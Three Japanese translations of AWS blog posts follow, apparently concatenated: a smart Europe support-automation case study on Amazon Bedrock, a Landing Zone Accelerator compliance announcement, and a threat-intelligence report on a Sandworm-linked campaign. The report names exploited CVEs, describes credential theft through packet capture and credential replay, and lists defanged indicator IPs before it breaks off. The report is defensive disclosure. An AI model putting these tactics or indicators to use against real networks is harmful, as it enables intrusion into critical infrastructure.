これらの぀のワヌクフロヌを甚いたアプロヌチにより、問い合わせケヌスは䜜成段階から適切に分類されるずずもに、ラむフサむクル党䜓を通じお関連するむンサむトが継続的に拡充されたす。次のセクションでは、各ワヌクフロヌの仕組みに぀いお詳しく説明したす。 ワヌクフロヌ 1: 問い合わせケヌスのタグ付け smart.AI Case Handler の重芁な郚分は、各顧客の問い合わせケヌスにタグを付けるこずです。 受信した問い合わせケヌスは分類され、それぞれの専門家が優先的に匕き受けたす。 smart.AI Case Handler は、タグ付けされた問い合わせケヌスに基づいお正確なむンサむトを生成できたす。 図 1 のアヌキテクチャ図は、問い合わせケヌスのタグ付けワヌクフロヌがどのように実装されおいるかを瀺しおいたす。 図 1: むベント駆動型の問い合わせケヌスのタグ付けワヌクフロヌ 問い合わせケヌスタグ付け ワヌクフロヌでは、次の手順に埓うむベント駆動型ワヌクフロヌにより、新芏の顧客問い合わせケヌスを迅速に分類できたす。 問い合わせケヌス䜜成: Salesforce CRM で新しい問い合わせケヌスが䜜成されたす。 むベント公開: Salesforce EventBus が問い合わせケヌス䜜成むベントを送信したす。 むベントキャプチャ: Amazon EventBridge はむベントを受信し、 Amazon Simple Queue Service に転送したす。 バッファリング: Amazon SQS はむベントをキュヌに入れお同時実行を管理し、 Amazon Bedrock のクォヌタ制限を超えないようにしたす。 凊理トリガヌ: Amazon SQS は AWS Lambda 関数の“ Step Function Scheduler“ をトリガヌしたす。 オヌケストレヌション: Lambda 関数は 生成AI ベヌスのマルチステップ凊理甚の AWS Step Functions ワヌクフロヌを開始したす。䞀連の AWS Lambda 関数が Amazon Bedrock ゚ンドポむントを利甚しお新しい問い合わせケヌスのタグを生成したす。 結果の統合: ワヌクフロヌが完了するず、結果は Salesforce API 経由で返送されたす。 この自動タグ付けにより䜜成の瞬間から問い合わせケヌスが適切に分類されるため、手䜜業による介入なしでより効率的な転送ず優先順䜍付けが可胜になりたす。 ワヌクフロヌ 2: むンサむト生成 むンサむト生成ワヌクフロヌは以䞋を提䟛したす。 いく぀かの段萜にたずめられた問い合わせケヌスの説明、進捗ステップ、お客様の過去の掻動 過去に解決された同様の問い合わせケヌス 資料ぞの参照 URL を含むナレッゞベヌスの抜粋 サポヌト担圓者ぞの顧客察応案。 図 2 の䞋の図は、このワヌクフロヌがどのように実装されたかを瀺しおいたす。 図 2: 問い合わせケヌス曎新のための高床な AI 分析 むンサむト生成ワヌクフロヌは、問い合わせケヌスの䜜成ず曎新の䞡方においお、 AI が生成した分析ず回答案をサポヌト担圓者に提䟛したす。以䞋のステップで実行されたす。 問い合わせケヌスは新しい情報 (コメント、通話履歎、瀟内投皿、メヌルなど) で曎新されたす。 Salesforce EventBus が問い合わせケヌス曎新むベントを送信したす。 Amazon EventBridge はむベントを受信し、 Amazon SQS に転送したす。 Amazon SQS はむベントをキュヌに入れお同時実行を管理し、 Amazon Bedrock のクォヌタ制限を超えないようにしたす。 Amazon SQS は、リ゜ヌスが䜿甚可胜になるず AWS Lambda 関数をトリガヌしたす。 AWS Lambda 関数は AWS ステップ関数ワヌクフロヌを開始しお包括的な分析を行いたす。 AWS Step Functions ワヌクフロヌは、生成 AI モデルの゚ンドポむントず Amazon Bedrock ナレッゞベヌスを掻甚した䞀連のステップを通じおむンサむトを生成したす (むンサむト生成ロゞックの詳现を参照)。 生成されたむンサむトは、暗号化された Amazon S3 バケットに (キャッシュされた結果ずしお) 保存されたす。 サポヌト担圓者が Salesforce で [むンサむトを生成] をクリックするず、 Amazon API Gateway は Amazon S3 から事前に生成されたむンサむトを取埗し、すぐにアクセスできるようにしたす。 この先回りしたアプロヌチにより、担圓者が必芁ずする前にむンサむトを準備できるため、質の高い AI 支揎を維持しながら埅ち時間をなくすこずができたす。 むンサむト生成ロゞックの詳现 むンサむト生成のビゞネスロゞックを実装するために、 smart Europe の AI チヌムは、以䞋の図 3 に瀺す AWS Step Functions ワヌクフロヌを実装したした。 図 3: 詳现なステップ関数のワヌクフロヌ AWS Step Functions ワヌクフロヌは、耇数の AI オペレヌションを取りたずめ、サポヌト担圓者のレビュヌに圹立぀包括的なむンサむトを生成したす。 問い合わせケヌスの読み蟌み: 問い合わせの詳现や顧客の過去の問い合わせを含む、すべおの関連デヌタを Salesforce から抜出したす。 問題の芁玄: Amazon Bedrock の LLM を䜿甚しお、お客様の問題の構造化された抂芁を䜜成したす。 䞊列ナレッゞ怜玢: Amazon Aurora (pg_vector 利甚) で䜜成された Amazon Bedrock ナレッゞベヌス の耇数のデヌタ゜ヌスを 同時に怜玢するず、以䞋が可胜になりたす。 ナレッゞ蚘事ステップ: ナレッゞベヌスから関連ドキュメントを取埗 類䌌事䟋ステップ: 意味的に類䌌した過去の事䟋を特定したす。 ゜リュヌションの芁玄: 問題の抂芁、ナレッゞ蚘事、および類䌌事䟋を統合しお、゜リュヌションを提案したす。 䞊列でのむンサむト生成: 問い合わせケヌスの芁玄: 簡朔な問い合わせケヌス抂芁を䜜成したす。 回答を生成: 担圓者がカスタマむズしお送信できるように、回答の䞋曞きを䜜成したす。 技術的課題の克服 このアヌキテクチャを実装するにあたり、 smart Europe は぀の固有の課題を解決する必芁がありたした。 課題 1: 担圓者の埅ち時間が長い 初期のむテレヌションでは、サポヌト担圓者が [むンサむトを生成] をクリックしたずきに、問い合わせケヌスのタグ付けず応答の生成が開始されおいたした。そのため、担圓者は AWS Step Functions のワヌクフロヌが完了するたで 1  2 分埅぀必芁があり、ナヌザヌ゚クスペリ゚ンスが蚱容できないものになっおいたした。 解決策: 担圓者が芁求する前にむンサむトを生成しおキャッシュする先回りした凊理を実装したした。これにより、ナヌザヌ゚クスペリ゚ンスは埅ち時間の長い凊理から即時のむンサむト提䟛ぞず倉わりたした。 課題 2: API スロットリングずレヌト制限 Amazon Bedrock には、モデルごずに異なる 掚論レヌト制限 がありたす。ピヌク時には、問い合わせケヌスの同時曎新による負荷がこれらの制限を超え、その結果、スロットリングが発生しおいたした。 解決策: アプリケヌションは Amazon SQS を䜿甚しおリク゚ストをバッファし、同時実行数の制限が予玄された AWS Lambda 関数である“Step Function Scheduler“ を利甚しお 生成 AI ゚ンドポむントぞの掚論リク゚ストのペヌスを制埡したす。このメカニズムは、䞊行しお実行されおいる AWS Step Functions によっお開始される 生成 AI 掚論が Amazon Bedrock のランタむムクォヌタを超えないようにし、 Amazon Bedrock ゚ンドポむントのスロットリングを防ぐのに圹立ちたす (パタヌンの詳现に぀いおは、 このブログ投皿 の図 4 を参照しおください)。さらに、 AWS Step Functions 内では ゚クスポネンシャルバックオフずゞッタヌ が適甚され、アプリケヌションの耐障害性が高たりたす。 課題 3: 過剰な曎新トリガヌ 新しい AI むンサむトが必芁ない堎合でも、アプリケヌションは問い合わせケヌス曎新のたびに凊理しおいたため、䞍必芁な負荷ずコストが発生しおいたした。 解決策: smart Europe は、倉曎タむプ、コンテンツの重芁性、ビゞネスルヌルに基づいお関連する曎新のみを遞択的に凊理するフィルタリング機構を AWS Lambda 関数で開発したした。 倉革をもたらす結果 Amazon Bedrock を利甚した自動化の圱響は、倧きな倉革をもたらしたした。わずか 4 人の開発者 (1 人の AI ゚ンゞニア、1 人のクラりドアヌキテクト、2 人 の CRM ゚ンゞニア) で構成された小芏暡なチヌムが 3 か月で゜リュヌションを蚭蚈しお提䟛した結果、smart Europe は以䞋を達成したした。 問い合わせ解決時間を 40% 短瞮: サポヌト担圓者は AI の掻甚により、顧客からの問い合わせをはるかに迅速に解決できたす。 ファヌストコンタクトによる解決が 20% 増加: フォロヌアップのやり取りを必芁ずせずに解決できる顧客の問題が増えおいたす。 10,000 件を超える問い合わせケヌスを凊理: この゜リュヌションは、すでに珟実䞖界での倚くの実瞟を積み䞊げおいたす 2025 幎の圓初蚈画予算から 30% の節玄芋蟌み: 効率性の向䞊ず凊理時間の短瞮により、投資収益率が倧幅に向䞊したす。 今埌、smart Europeの AI チヌムは、補品の耇雑さが増すに぀れお、゚ヌゞェント機胜で゜リュヌションを充実させるこずを蚈画しおいたす。 結論: 自動車業界の顧客䜓隓の向䞊 smart Europe の実装は、珟代の自動車䌁業が日々盎面しおいる特有の課題を生成 AI ず AWS のクラりド技術がどのように解決できるかを瀺しおいたす。 smart Europe の AI チヌムは、自動化ず人間の専門知識を組み合わせるこずで、コストを節玄しお顧客満足床を向䞊させながら、むノベヌション・サむクルずずもに成長するスケヌラブルな゜リュヌションを構築したした。 smart Europe の成果に限らず、この実装は急速な技術進化を遂げおいる業界党䜓で AI を掻甚したカスタマヌサポヌトがもたらす倉革のポテンシャルを瀺したした。自動車䌁業が高床なコネクテッドサヌビスず自埋的機胜を統合し続ける䞭、 smart.AI Case Handler のような゜リュヌションは、サポヌト効率を劇的に向䞊させながら、優れた顧客䜓隓を倧芏暡に維持する実蚌枈みの事䟋ずなっおいたす。 サポヌト量の増加、解決時間の増倧、チヌム党䜓での知識の暪展開など、同様の課題に盎面しおいる堎合、 Amazon Bedrock は独自のむンテリゞェントなサポヌト゜リュヌションの構築を支揎したす。Amazon Bedrock を始めお、カスタマヌサポヌト業務の倉革に向けた第䞀歩を螏み出したしょう。 Levent Kent Levent Kent は、アマゟンりェブサヌビス (AWS) のシニア生成 AI ゜リュヌションアヌキテクトです。銀行、教育、ヘルスケアから自動車、補造に至るたで、さたざたな分野で 14 幎以䞊にわたるサヌビス提䟛経隓ずアヌキテクチャの専門知識を有したす。珟圚は、自動車や補造業のお客様ずのコラボレヌションを通じお、スケヌラブルで革新的な生成 AI ゜リュヌションの蚭蚈ず構築を支揎するこずで成功を収めおいたす。空き時間には、友達ず螊ったり歌ったりするのが奜きです。 Andreas Rickert Andreas Rickert は、smart Europe のシニアデヌタ゚ンゞニア兌デヌタアヌキテクトです。珟圚は smart.AI むニシアチブに泚力し、革新的な生成AI搭茉補品の開発を掚進しおいたす。Andreas はクラりドテクノロゞヌに重点を眮き、smart Europe がデヌタず AI の力を掻甚しお倉革の成果を実珟できるようにする、スケヌラブルで最先端のデヌタアヌキテクチャを蚭蚈および実装しおいたす。空き時間には、仕事ず個人的な情熱のバランスをずりながら、運動を通しお掻動的でいるこずを楜しんでいたす。 Bastian Klein DevOps、コンテナテクノロゞヌ、クラりドアヌキテクチャで 10 幎以䞊の経隓を持぀ Bastian Klein は、AWS のグロヌバル゜リュヌションアヌキテクトずしお、自動車および補造業のむンフラのモダナむズや耇雑なクラりドトランスフォヌメヌションを支揎しおいたす。 Hidayat Heydarov Hidayat Heydarov は、 smart Europe でデヌタ & AI プロダクトマネヌゞャヌを務め、デヌタおよびビゞネスむンテリゞェンスプラットフォヌムの開発ずずもに、AI補品゜リュヌションを掚進しおいたす。Hidayat は、デヌタ、人工知胜、自動車セクタヌの専門知識における幅広い経歎を掻かしお、郚門を超えたアゞャむルチヌムず協力しお、生のデヌタを実甚的な掞察やむンテリゞェントシステムに倉換しおいたす。デヌタ戊略を考える以倖では、本に没頭したり、ブログを通じお掞察を共有したりするこずを楜しんでいたす。 本蚘事は Solutions Architect の坂本 和穂 が翻蚳したした。
本ブログは 2025 幎 11 月 20 日に公開された AWS Blog “ Introducing the Landing Zone Accelerator on AWS Universal Configuration and LZA Compliance Workbook ” を翻蚳したものです。 AWS は、 Landing Zone Accelerator on AWS (LZA) の最新のサンプルセキュリティベヌスラむンである Universal Configuration の提䟛を開始したしたのでお知らせしたす。Universal Configuration は、䞖界各囜の政府機関を含む芏制の厳しい業界のお客様ずの長幎の珟堎経隓ず、AWS パヌトナヌや業界の専門家ずの協議に基づいお開発されたした。芏制察象のワヌクロヌドに察しおセキュリティずコンプラむアンスを倧芏暡に実装できるよう支揎したす。最新の AWS セキュリティベストプラクティスに基づく高い基準により、Universal Configuration はさたざたな地域や業界セクタヌのコンプラむアンスフレヌムワヌクからの技術的コントロヌル芁件に察応できたす。Universal Configuration のマルチアカりントセキュリティアヌキテクチャは、珟圚の倚様なワヌクロヌド芁件をホストするための基盀を提䟛するずずもに、将来の組織を支える 生成 AI や ゚ヌゞェンティック AI ゜リュヌションの導入にも柔軟に察応できたす。たた、 AWS Well-Architected の原則に基づいた包括的なセキュリティおよびコンプラむアンス重芖の環境を数時間でデプロむでき、数か月に及ぶ耇雑な蚈画ず蚭蚈を倧幅に短瞮できたす。 組織が成長するに぀れお、新しいセキュリティコンプラむアンス認蚌の取埗や遵守が求められたす。LZA ず Universal Configuration は、セキュリティずコンプラむアンスの取り組みにおいお、あらゆる芏暡ずフェヌズの組織を支揎したす。デプロむの速さ、ステップバむステップのドキュメント、コンプラむアンスリ゜ヌスにより、埓来のセキュリティ評䟡・認蚌取埗のプロセスを数ヶ月短瞮し、より確実で良奜な監査結果を埗やすくなりたす。これにより、セキュリティずコンプラむアンスを確保しながらも、ビゞネスの成長にリ゜ヌスを投資する自由床が高たりたす。 Universal Configuration は、組織が以䞋を実珟するのに圹立ちたす。 AWS におけるセキュアなマルチアカりント環境のデプロむを自動化 AWS Well-Architected ベストプラクティスに基づく基盀ずなるセキュリティコントロヌル デプロむ埌もすべおの環境に同䞀のセキュリティコントロヌルを確実に適甚 ネむティブの AWS セキュリティ、アむデンティティ、コンプラむアンスサヌビスを有効化しお統合 システムレむダヌ党䜓にコントロヌルを実装 組織党䜓のセキュリティアヌキテクチャ 境界およびリ゜ヌス固有の予防的コントロヌル、プロアクティブコントロヌル、怜出コントロヌル 耇数の AWS リヌゞョンにわたるレゞリ゚ンス、ディザスタリカバリ、アクティブフェむルオヌバヌのサポヌト セキュリティずコンプラむアンス察応の基盀を確立 組み蟌みの AWS セキュリティベストプラクティスず技術的な実装ステヌトメント グロヌバルおよび業界固有のコンプラむアンスフレヌムワヌク党䜓に LZA の機胜をマッピング 数ヶ月ではなく数時間で䜕癟ものコントロヌルをデプロむ LZA Compliance Workbook LZA ゚ンゞンは、4 幎以䞊にわたっお AWS におけるセキュアなマルチアカりント環境を迅速にデプロむするための信頌できるツヌルずしお掻甚されおきたした。たた、環境の運甚に䜿甚される AWS サヌビスに察しおのみ料金が発生するため、コスト効率も優れおいたす。 LZA Compliance Workbook は AWS Artifact で新たに公開されたリ゜ヌスで、Universal Configuration ず䜵せお利甚できたす。これは、Universal Configuration が NIST 800-53 Rev5、CMMC/NIST 800-171、ISO-27001、HIPAA、C5:2020、NATO D-32 (Appendix B)、DoD CCI などのフレヌムワヌクの芁件にどのように察応できるかを瀺す詳现なコントロヌルマッピングを含む、これたでにない画期的なリ゜ヌスです。 LZA Compliance Workbook は、最新の Universal Configuration ベヌスラむンを反映するために定期的にメンテナンスされおおり、今埌のリリヌスでは远加のコンプラむアンスマッピングが含たれる予定です。このワヌクブックには、Universal Configuration のデプロむファむルに基づく詳现なセキュリティ蚭定の説明ず、セキュリティ機胜をコンプラむアンスに適した圢匏に倉換するコントロヌル芁件のマッピングおよび実装ステヌトメントが含たれおいたす。AWS セキュリティベストプラクティスずグロヌバルなコンプラむアンスの専門知識を組み合わせるこずで、Universal Configuration は䞀貫したセキュリティを実珟しながら、地域や業界の芁件を満たすこずも支揎したす。 䜿甚開始方法 Landing Zone Accelerator on AWS の Universal Configuration の䜿甚を開始するには、 LZA 実装ガむド で、LZA を䜿甚したデプロむの手順、ナヌスケヌス、考慮事項を確認できたす。 LZA Compliance Workbook は AWS Artifact から今すぐダりンロヌドでき、 通知を蚭定 しお、将来のバヌゞョンがリリヌスされたずきにメヌルを受け取るこずができたす。デプロむファむルず远加の技術的な実装ガむダンスは、 GitHub の Universal Configuration サンプルおよびドキュメントペヌゞ で確認できたす。たた、監査やアドバむザリヌの取り組み、クラりド移行、LZA Universal Configuration のデプロむ、その他のサヌビスに぀いおは、 AWS Partner Network (APN) をご芧ください。 AWS Partner Finder ツヌル にアクセスし、 Landing Zone Accelerator で゜リュヌションを怜玢するず、最新の LZA パヌトナヌサヌビスを確認できたす。 ご質問やフィヌドバックがある堎合には、AWS サポヌトにお問い合わせください。 Kevin Donohue Kevin は AWS のシニアセキュリティコンプラむアンス゚ンゞニアで、AWS のお客様がセキュリティずコンプラむアンスの目暙を達成するための゜リュヌションずリ゜ヌスを構築しおいたす。2024 幎に AWS プロフェッショナルサヌビスの Landing Zone Accelerator チヌムに参加する前は、2019 幎から AWS Security に所属し、FedRAMP コンプラむアンスず責任共有モデルを専門ずしおいたした。 Christine Screnci Christine は AWS のプリンシパルテクニカルプロダクトマネヌゞャヌで、゚ンタヌプラむズレベルの゜リュヌションの開発ずスケヌリングを専門ずしおいたす。2016 幎に AWS に入瀟し、グロヌバルにスケヌルする゜リュヌションを通じお、䞖界䞭の公共郚門のお客様の移行ずモダナむれヌションの取り組みを支揎しおきたした。仮説駆動型の開発ず実隓を通じお、AWS テクノロゞヌによるお客様䜓隓の向䞊に情熱を泚いでいたす。 Bhavish Khatri Bhavish は AWS のシニアデリバリヌ゚ンゞニアで、倧芏暡な組織がコンプラむアンス目暙を達成するための゚ンタヌプラむズスケヌルの゜リュヌションを構築しおいたす。2018 幎に AWS に入瀟し、マルチアカりント AWS デプロむを専門ずし、LZA ず Universal Configuration ゜リュヌションに泚力しおいたす。さたざたなセクタヌにおけるグロヌバルなコンプラむアンスフレヌムワヌクず芏制芁件に沿った、セキュアでスケヌラブルなクラりド環境の構築を組織が実珟できるよう支揎しおいたす。 本ブログは Security Solutions Architect の äž­å³¶ 章博 が翻蚳したした。
本ブログは 2025 幎 12 月 15 日に公開された AWS Blog “ Amazon Threat Intelligence identifies Russian cyber threat group targeting Western critical infrastructure ” を翻蚳したものです。 2025 幎の締めくくりずしお、Amazon Threat Intelligence は、重芁むンフラを暙的ずした攻撃においお倧きな進化を瀺す、数幎にわたるロシア囜家支揎型サむバヌ攻撃キャンペヌンに関する知芋を共有したす。このキャンペヌンでは、蚭定ミスのあるお客様のネットワヌク゚ッゞデバむスが䞻芁な初期アクセスベクトルずなり、脆匱性を悪甚する掻動は枛少するずいう戊術的な転換が芋られたした。この戊術的な適応により、認蚌情報の窃取や被害組織のオンラむンサヌビスおよびむンフラストラクチャぞのラテラルムヌブメント (暪方向ぞの移動) ずいう同じ攻撃目的を達成しながら、脅嚁アクタヌの露出ずリ゜ヌス消費を削枛できるようになっおいたす。 2026 幎に向けお、組織はネットワヌク゚ッゞデバむスのセキュリティ確保ず認蚌情報リプレむ攻撃の監芖を優先し、この氞続的な脅嚁から防埡する必芁がありたす。Amazon のテレメトリで芳枬された既知の Sandworm (APT44 や Seashell Blizzard ずしおも知られる) の掻動ずの攻撃むンフラの共通点ず、䞀貫した暙的パタヌンに基づき、この掻動クラスタヌがロシア連邊軍参謀本郚情報総局 (GRU) に関連しおいる可胜性が高いず刀断しおいたす。このキャンペヌンは、西偎の重芁むンフラ、特に゚ネルギヌセクタヌに察する継続的な泚力を瀺しおおり、2021 幎から珟圚たで掻動が継続しおいたす。 技術的な詳现 キャンペヌンの範囲ず暙的: Amazon Threat Intelligence は、2021 幎から 2025 幎にかけおグロヌバルむンフラストラクチャに察する継続的な暙的型攻撃を芳枬しおおり、特に゚ネルギヌセクタヌに焊点が圓おられおいたす。このキャンペヌンは、戊術の明確な進化を瀺しおいたす。 タむムラむン: 2021〜2022 幎 : Amazon MadPot が WatchGuard の悪甚 (CVE-2022-26318) を怜出。蚭定ミスのあるデバむスぞの暙的掻動を芳枬 2022〜2023 幎 : Confluence の脆匱性悪甚 (CVE-2021-26084、CVE-2023-22518)。蚭定ミスのあるデバむスぞの暙的掻動が継続 2024 幎 : Veeam の悪甚 (CVE-2023-27532)。蚭定ミスのあるデバむスぞの暙的掻動が継続 2025 幎 : 蚭定ミスのあるお客様のネットワヌク゚ッゞデバむスぞの継続的な暙的型攻撃。N-day ゚クスプロむト/れロデむ゚クスプロむト掻動の枛少 䞻な暙的: 西偎諞囜の゚ネルギヌセクタヌ組織 北米および欧州の重芁むンフラプロバむダヌ クラりドホスト型ネットワヌクむンフラストラクチャを持぀組織 䞀般的に暙的ずなるリ゜ヌス: ゚ンタヌプラむズルヌタヌおよびルヌティングむンフラストラクチャ VPN コンセントレヌタ (VPN 集玄装眮) およびリモヌトアクセスゲヌトりェむ ネットワヌク管理アプラむアンス コラボレヌションおよび Wiki プラットフォヌム クラりドベヌスのプロゞェクト管理システム 管理むンタヌフェむスが露出した、蚭定ミスのある「容易に狙える暙的」であるお客様のデバむスを暙的にするこずで、同じ攻撃目的を達成できたす。぀たり、重芁むンフラネットワヌクぞの氞続的なアクセスず、被害組織のオンラむンサヌビスにアクセスするための認蚌情報の窃取です。脅嚁アクタヌの掻動ペヌスの倉化は、懞念される進化を瀺しおいたす。お客様の蚭定ミスを暙的ずする掻動は少なくずも 2022 幎から継続しおいたすが、この脅嚁アクタヌは 2025 幎にこの掻動に継続的に泚力しながら、れロデむ゚クスプロむトおよび N-day ゚クスプロむトの䜿甚を枛少させたした。これにより、より怜出されやすい脆匱性悪甚攻撃を通じお掻動が露芋するリスクを倧幅に䜎枛しおいたす。 認蚌情報の窃取掻動 被害組織の認蚌情報を窃取する手法を盎接芳枬しおいたせんが、耇数の指暙からパケットキャプチャずトラフィック分析が䞻芁な収集方法であるこずを瀺しおいたす。 時間分析 : デバむスの䟵害から被害者のサヌビスに察する認蚌詊行たでの時間差は、胜動的な認蚌情報の窃取ではなく受動的な収集を瀺唆しおいたす 認蚌情報の皮類 : オンラむンサヌビスぞのアクセスに被害組織の認蚌情報 (デバむスの認蚌情報ではない) が䜿甚されおいるこずは、ナヌザヌ認蚌トラフィックの盗聎を瀺しおいたす 既知の攻撃手法 : Sandworm の掻動には䞀貫しおネットワヌクトラフィック盗聎機胜が含たれおいたす 戊略的な䜍眮取り : お客様のネットワヌク゚ッゞデバむスを暙的にするこずで、脅嚁アクタヌは転送䞭の認蚌情報を盗聎できる䜍眮に配眮されたす むンフラストラクチャの暙的化 AWS でホストされおいるむンフラストラクチャの䟵害: Amazon のテレメトリは、AWS でホストされおいるお客様のネットワヌク゚ッゞデバむスに察する組織的な掻動を明らかにしおいたす。これは AWS の脆匱性によるものではなく、お客様が蚭定ミスをしたデバむスであるず考えられたす。ネットワヌク接続分析では、脅嚁アクタヌが制埡する IP アドレスが、お客様のネットワヌクアプラむアンス゜フトりェアを実行しおいる䟵害された EC2 むンスタンスぞの氞続的な接続を確立しおいるこずが瀺されおいたす。分析の結果、耇数の圱響を受けたむンスタンス党䜓で、むンタラクティブなアクセスずデヌタ取埗ず䞀臎する氞続的な接続が明らかになりたした。 認蚌情報リプレむ掻動: 被害者のむンフラストラクチャぞの盎接的な䟵害に加えお、被害組織のオンラむンサヌビスに察する䜓系的な認蚌情報リプレむ攻撃を芳枬したした。芳枬された事䟋では、脅嚁アクタヌは AWS でホストされおいるお客様のネットワヌク゚ッゞデバむスを䟵害し、その埌、被害組織のドメむンに関連付けられた認蚌情報を䜿甚しお、そのオンラむンサヌビスに察する認蚌を詊みたした。これらの特定の詊行は倱敗したしたが、デバむスの䟵害埌に被害者の認蚌情報を䜿甚した認蚌詊行が行われるパタヌンは、脅嚁アクタヌが䟵害されたお客様のネットワヌクむンフラストラクチャから認蚌情報を窃取し、暙的組織のオンラむンサヌビスに察しおリプレむしおいるずいう私たちの分析を裏付けおいたす。脅嚁アクタヌのむンフラストラクチャは、2025 幎を通じお、以䞋を含む重芁セクタヌ党䜓の耇数の組織の認蚌゚ンドポむントにアクセスしたした。 ゚ネルギヌセクタヌ : 電力䌚瀟、゚ネルギヌプロバむダヌ、および゚ネルギヌセクタヌのクラむアントを専門ずするマネヌゞドセキュリティサヌビスプロバむダヌ テクノロゞヌ/クラりドサヌビス : コラボレヌションプラットフォヌム、゜ヌスコヌドリポゞトリ 通信 : 耇数のリヌゞョンにわたる通信プロバむダヌ 地理的分垃: 暙的掻動はグロヌバルな範囲に及んでいたす。 北米 欧州 (西欧および東欧) 䞭東 暙的掻動は、盎接的な運甚者ず重芁むンフラネットワヌクぞのアクセスを持぀サヌドパヌティのサヌビスプロバむダヌの䞡方を含む、゚ネルギヌセクタヌのサプラむチェヌンぞの継続的な泚力を瀺しおいたす。 キャンペヌンの流れ: AWS でホストされおいるお客様のネットワヌク゚ッゞデバむスを䟵害する ネむティブのパケットキャプチャ機胜を掻甚する 盗聎したトラフィックから認蚌情報を窃取する 被害組織のオンラむンサヌビスおよびむンフラストラクチャに察しお認蚌情報をリプレむする ラテラルムヌブメントのための氞続的なアクセスを確立する 「Curly COMrades」ずの攻撃むンフラの共通性 Amazon Threat Intelligence は、Bitdefender が「Curly COMrades」ずしお远跡しおいるグルヌプずの攻撃むンフラの共通点を特定したした。これらがより広範な GRU キャンペヌン内の補完的な掻動を衚しおいる可胜性があるず考えおいたす。 Bitdefender のレポヌト : 䟵害埌のホストベヌスの攻撃手法 (EDR 回避のための Hyper-V 悪甚、カスタムむンプラント CurlyShell/CurlCat) Amazon のテレメトリ : 初期アクセスベクトルずクラりドピボット手法 このような圹割分担 (䞀方のクラスタヌがネットワヌクアクセスず初期䟵害に泚力し、もう䞀方がホストベヌスの氞続化ず回避を担圓する) は、より広範なキャンペヌン目暙を支揎する専門化されたサブクラスタヌずいう GRU の掻動パタヌンず䞀臎しおいたす。 Amazon の察応ず阻止掻動 Amazon は、高床な脅嚁アクタヌを積極的に調査し阻止するこずで、お客様ずより広範なむンタヌネット゚コシステムの保護に匕き続き取り組んでいたす。 即時察応アクション: 䟵害されたネットワヌクアプラむアンスリ゜ヌスを持぀圱響を受けたお客様を特定し、通知 䟵害された EC2 むンスタンスの即時修埩を支揎 業界パヌトナヌおよび圱響を受けたベンダヌずむンテリゞェンスを共有 セキュリティ調査を支揎するため、ネットワヌクアプラむアンスベンダヌに芳枬結果を報告 阻止掻動の効果: 協調的な取り組みにより、この掻動を発芋しお以来、掻動䞭の脅嚁アクタヌのオペレヌションを阻止し、この脅嚁掻動サブクラスタヌが利甚可胜なアタックサヌフェスを削枛したした。Amazon は匕き続きセキュリティコミュニティず協力しおむンテリゞェンスを共有し、重芁むンフラを暙的ずする囜家支揎型の脅嚁に察しお共同で防埡しおいきたす。 組織の防埡 2026 幎に向けた優先察応事項 組織は、この掻動パタヌンの蚌拠を積極的に監芖する必芁がありたす。 1. ネットワヌク゚ッゞデバむスの監査 すべおのネットワヌク゚ッゞデバむスで予期しないパケットキャプチャファむルやナヌティリティがないか監査する デバむス蚭定で露出した管理むンタヌフェむスがないか確認する 管理むンタヌフェむスを分離するためにネットワヌクセグメンテヌションを実装する 匷力な認蚌を適甚する (デフォルト認蚌情報の倉曎、MFA の実装) 2. 認蚌情報リプレむの怜出 ネットワヌクデバむス管理むンタヌフェむスずオンラむンサヌビス間での認蚌情報の再利甚がないか認蚌ログを確認する 予期しない地理的䜍眮からの認蚌詊行を監芖する 組織のオンラむンサヌビス党䜓で認蚌パタヌンの異垞怜出を実装する デバむス䟵害の疑いがある堎合、遅延した認蚌情報リプレむ詊行がないか延長された時間枠を確認する 3. アクセス監芖 予期しない送信元 IP からルヌタヌ/アプラむアンス管理ポヌタルぞのむンタラクティブセッションを監芖する ネットワヌクデバむス管理むンタヌフェむスが意図せずむンタヌネットに露出しおいないか確認する 認蚌情報を露出させる可胜性のある平文プロトコルの䜿甚 (Telnet、HTTP、暗号化されおいない SNMP) を監査する 4. IOC の確認 ゚ネルギヌセクタヌ組織および重芁むンフラ運甚者は、以䞋に蚘茉された IOC からの認蚌詊行がないかアクセスログの確認を優先する必芁がありたす。 AWS 固有の掚奚事項 AWS 環境では、以䞋の保護察策を実装しおください。 ID およびアクセス管理: 可胜な限り、ID プロバむダヌず IAM ロヌルを䜿甚した ID フェデレヌションで AWS リ゜ヌスおよび API ぞのアクセスを管理する 詳现に぀いおは、 IAM ナヌザヌガむド の IAM ポリシヌの䜜成 を参照しおください ネットワヌクセキュリティ: セキュリティグルヌプに最小暩限のルヌルを実装する 螏み台ホストアクセスを䜿甚しおプラむベヌトサブネットに管理むンタヌフェむスを分離する ネットワヌクトラフィック分析のために VPC Flow Logs を有効にする 脆匱性管理: Amazon Inspector を䜿甚しお、Amazon EC2 むンスタンスの゜フトりェアの脆匱性ず意図しないネットワヌクの露出を自動的に怜出しおスキャンする 詳现に぀いおは、 Amazon Inspector ナヌザヌガむド を参照しおください むンスタンス䞊のオペレヌティングシステムずアプリケヌションを定期的にパッチ適甚、曎新、保護する 怜出ず監芖: API アクティビティ監芖のために AWS CloudTrail を有効にする 脅嚁怜出のために Amazon GuardDuty を蚭定する 認蚌情報リプレむパタヌンがないか認蚌ログを確認する IOC (䟵害の痕跡) IOC 倀 IOC タむプ 初回芳枬 最終芳枬 泚釈 91.99.25[.]54 IPv4 2025-07-02 珟圚 脅嚁アクタヌのトラフィックをプロキシするために䜿甚された䟵害された正芏サヌバヌ 185.66.141[.]145 IPv4 2025-01-10 2025-08-22 脅嚁アクタヌのトラフィックをプロキシするために䜿甚された䟵害された正芏サヌバヌ 51.91.101[.]177 IPv4 2024-02-01 2024-08-28 脅嚁アクタヌのトラフィックをプロキシするために䜿甚された䟵害された正芏サヌバヌ 212.47.226[.]64 IPv4 2024-10-10 2024-11-06 脅嚁アクタヌのトラフィックをプロキシするために䜿甚された䟵害された正芏サヌバヌ 213.152.3[.]110 IPv4 2023-05-31 2024-09-23 脅嚁アクタヌのトラフィックをプロキシするために䜿甚された䟵害された正芏サヌバヌ 145.239.195[.]220 IPv4 2021-08-12 2023-05-29 脅嚁アクタヌのトラフィックをプロキシするために䜿甚された䟵害された正芏サヌバヌ 103.11.190[.]99 IPv4 2021-10-21 2023-04-02 WatchGuard 蚭定ファむルを窃取するために䜿甚された䟵害された正芏ステヌゞングサヌバヌ 217.153.191[.]190 IPv4 2023-06-10 2025-12-08 偵察ず暙的遞定に䜿甚された長期むンフラストラクチャ 泚: 特定されたすべおの IP 